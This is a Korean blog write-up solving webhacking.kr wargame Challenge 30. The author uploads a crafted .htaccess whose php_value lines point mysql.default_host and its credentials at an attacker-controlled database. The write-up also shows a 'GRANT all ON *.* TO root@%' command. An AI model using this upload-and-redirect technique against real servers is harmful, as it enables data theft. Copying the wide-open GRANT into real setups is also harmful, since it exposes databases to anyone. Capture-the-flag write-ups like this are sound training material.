본문 바로가기

WarGame/webhacking.kr

[webhacking.kr] Challenge 30 :: 파일 업로드 취약점 3 (.htaccess)



Summary

  • 파일 업로드 취약점 관련 세번째 문제입니다.
  • .htaccess 파일을 이용하여 DB 접속을 제어할 수 있습니다.
  • 공인IP를 사용하시는 분이 아니라면, 포트포워딩을 적용해야 합니다.

 


Challenge 30은 다음과 같습니다.



"upload/index.phps"의 소스는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?
 
mysql_connect() or die();
 
mysql_select_db("challenge_30_table") or die();
 
$q=mysql_query("select password from challenge_30_answer") or die();
 
$data=mysql_fetch_array($q) or die();
 
if($data)
{
$pw="????";
echo("Password is $pw");
}
 
?>
cs


3번 라인에서 DB에 접속을 합니다. 보통 mysql_connect("server", "username", "password") 이와 같은 함수를 넣게 되어 있는데, 인수가 지정되어 있지 않다면, 보통 웹 서버 환경설정 파일("php.ini")에 정해져 있는데로 들어가게 됩니다.



위의 설명대로 "server"값은 PHP 지시어 "mysql.default_host"에 "username" 값은 "mysql.default_user"에 "password" 값은 "mysql.default_password"에 지정되어 있습니다. 

5번 라인에서는 데이터베이스를 선택하고, 7번라인에서는 SELECT 구문을 전송하여 11번 라인에서와 같이 해당 SELECT 값이 있으면, pw값이 출력되게 됩니다. 


먼저 파일 업로드 관련 문제이다 보니, php 파일을 전송하여 쿼리문을 조작해야 겠다는 생각?을 하게 됩니다. 임의의 텍스트 값을 채운 파일을 업로드 하니 "Done"이라는 문구가 출력되면서 파일이 업로드되고, "upload/" 경로에서도 실제 파일과 파일의 내용을 확인 할 수 있습니다. 다음에는 임의의 php 구문을 채운 php 파일을 업로드 해 봅니다. 이상하게 아무 문제 없이 업로드가 성공합니다. 그러나 실제 파일을 확인해 보면, php 구문이 실행되지 않고 그대로 소스만 출력되게 됩니다. 자세히 보니, "<??>" 문자를 제거해 버리는 것 같습니다. 또한 "()" 괄호도 제거되는 것을 확인 할 수 있습니다. php 파일을 올릴 수는 있지만 php 구문이 실행되지는 않게 구축되어 있는 것 같습니다.


이번에는 ".htaccess" 파일을 업로드 해보니, 저번 문제와 마찬가지로 업로드에 성공하는 것을 확인 할 수 있습니다. 지난번 문제에서 ".htaccess"파일을 이용하여 확장자 검증을 우회하고 php engine을 off 시키는 것을 알아보았는데요, 그렇다면 ".htaccess"파일의 다른 기능들에는 무엇이 있는지 의문이 들기 시작했습니다.


실제로 구현해 본 것이 아니라, 문서를 토대로 서술함으로 약간의 오류가 있을 수도 있습니다.

".htaccess" 파일은 주설정 파일 ("httpd.conf", "php.ini" 등)에서의 설정을 그대로 적용시킬 수가 있다고 합니다. 그러니깐 ".htaccesss"파일에 따로 문법이 있는 것이 아니라 주설정파일의 문법을 그대로 적용시킬 수 있습니다. 그 대신 주설정 파일에서 "AllowOverride [해당 명령어]"를 선언해 주어야 ".htaccess"파일에서 해당 명령어를 적용 시킬 수가 있습니다. 예를 들면 주설정 파일에서 "AllowOverride all"이라고 선언이 되면, ".htaccess"파일에서는 모든 명령어를 적용시킬 수 있기 때문에, 보안적으로 위험하다고 평가할 수 있습니다.


그렇다면 위의 "upload/index.phps"의 3번라인에서 mysql_connect()에 아무런 인자값이 없으므로 "php.ini"파일에 설정되어 있는 곳으로 DB가 접속될 것입니다. 위의 소스에서 $data값이 특정값이 아니라, 임의의 값이라도 값이 존재만 한다면 pw값이 출력되게 되어 있으므로 악의적인 ".htaccess"파일을 업로드하여 특정 DB에 접속하게 한다면 pw값을 출력할 수 있게 됩니다.


본인의 Local에 위의 소스대로 DB와 Table을 만들고 ".htaccess"파일을 조작하여 본인의 DB에 접속하게 만들면 문제가 해결될 것 같습니다.


우선 공격자의 DB를 생성해야 합니다. "challenge_30_table"이라는 데이터베이스를 만들고 "challenge_30_answer"이라는 테이블을 만들어서 password라는 Column에 임의의 값을 넣어줍니다.


그리고 중요한 것이 희생자의 서버에서, 그러니깐 webhacking.kr 서버에서 ".htaccess"에 설정되어 있는 공격자의 DB에 접속하기 때문에 DB에서 외부 접속을 허용해야 합니다. 보통 Local이 아닌 원격으로 DB에 접속해야 할 경우가 있을 때 이 방법을 사용하곤 합니다. 설정하는 방법은 다음과 같습니다.


1
GRANT all ON DB명.Table명 TO '접속계정'@'접속IP' IDENTIFIED BY '비밀번호';
cs


"'접속IP'에서 '접속계정'으로 '비밀번호'를 치고 들어오면 '해당 DB'안에 'Table'에 권한을 부여한다."라는 뜻으로 해당 내용은 "mysql" 데이터베이스의 "user" 테이블에 자동으로 INSERT가 되게 됩니다. "GRANT all" 대신에 "select, insert" 등 등과 같이 입력하면 해당 권한만 주어지게 되며 "DB명.Table명"에 "*.*"이라고 적으면 모든 데이터베이스에 접근이 가능하게 됩니다. 또 "접속IP"에 "%"라고 입력하면 모든 IP에서 접속을 허용하게 됩니다. 문제를 풀기 위해 간단하게 다음과 같은 명령어를 적용하면 됩니다.


1
GRANT all ON *.* TO 'root'@'%' IDENTIFIED BY '비밀번호';

cs


그리고 ".htaccess"에서 위에서 만들어 놓은 공격자의 DB에 접속하도록 만들어야 합니다. ".htaccess"에 PHP("php.ini") 설정을 적용하는 방식은 "php_value"와 "php_flag"를 사용해야 합니다. 두 가지 지시어의 특징은 아래 그림과 같이 "php_value"는 숫자와 문자와 같은 값을 처리하는데 반해 "php_flag"는 on/off와 같이 Boolean값을 갖는 환경변수명을 처리합니다. 

(".htaccess"에서 적용하는 문법은 "httpd.conf"에서 PHP("php.ini") 설정을 적용할 때도 똑같은 문법을 사용합니다.) 

좀 더 자세한 내용은 해당 블로그를 참고하시기 바랍니다. (http://tuwlab.com/ece/6316)


1
2
php_value [환경변수명] 설정값
php_flag  [환경변수명] on/off
cs


위의 소스 설명하는 곳에서 언급한 PHP지시어를 이용하여 다음과 같이 ".htaccess"를 조작합니다.


1
2
3
php_value mysql.default_host "공격자 IP"
php_value mysql.default_user "공격자 DB에 접속할 계정"
php_value mysql.default_password "해당계정 패스워드"
cs


DB에 접속할 계정은 위에서 만들어 놓은 DB 계정을 입력하면 됩니다. 조작된  ".htaccess"파일을 업로드하고 "upload/index.php" 경로에 접속하면 출력된 pw값을 확인할 수 있습니다.


그런데 대부분의 사람들은 공인IP가 아닌 ISP 업체에서 분배해주는 사설IP를 사용할 것입니다. 그런 경우에는 포트포워딩을 사용해야 합니다. 포트포워딩은 해당 블로그를 참고하시기 바랍니다. (http://studyforus.tistory.com/35)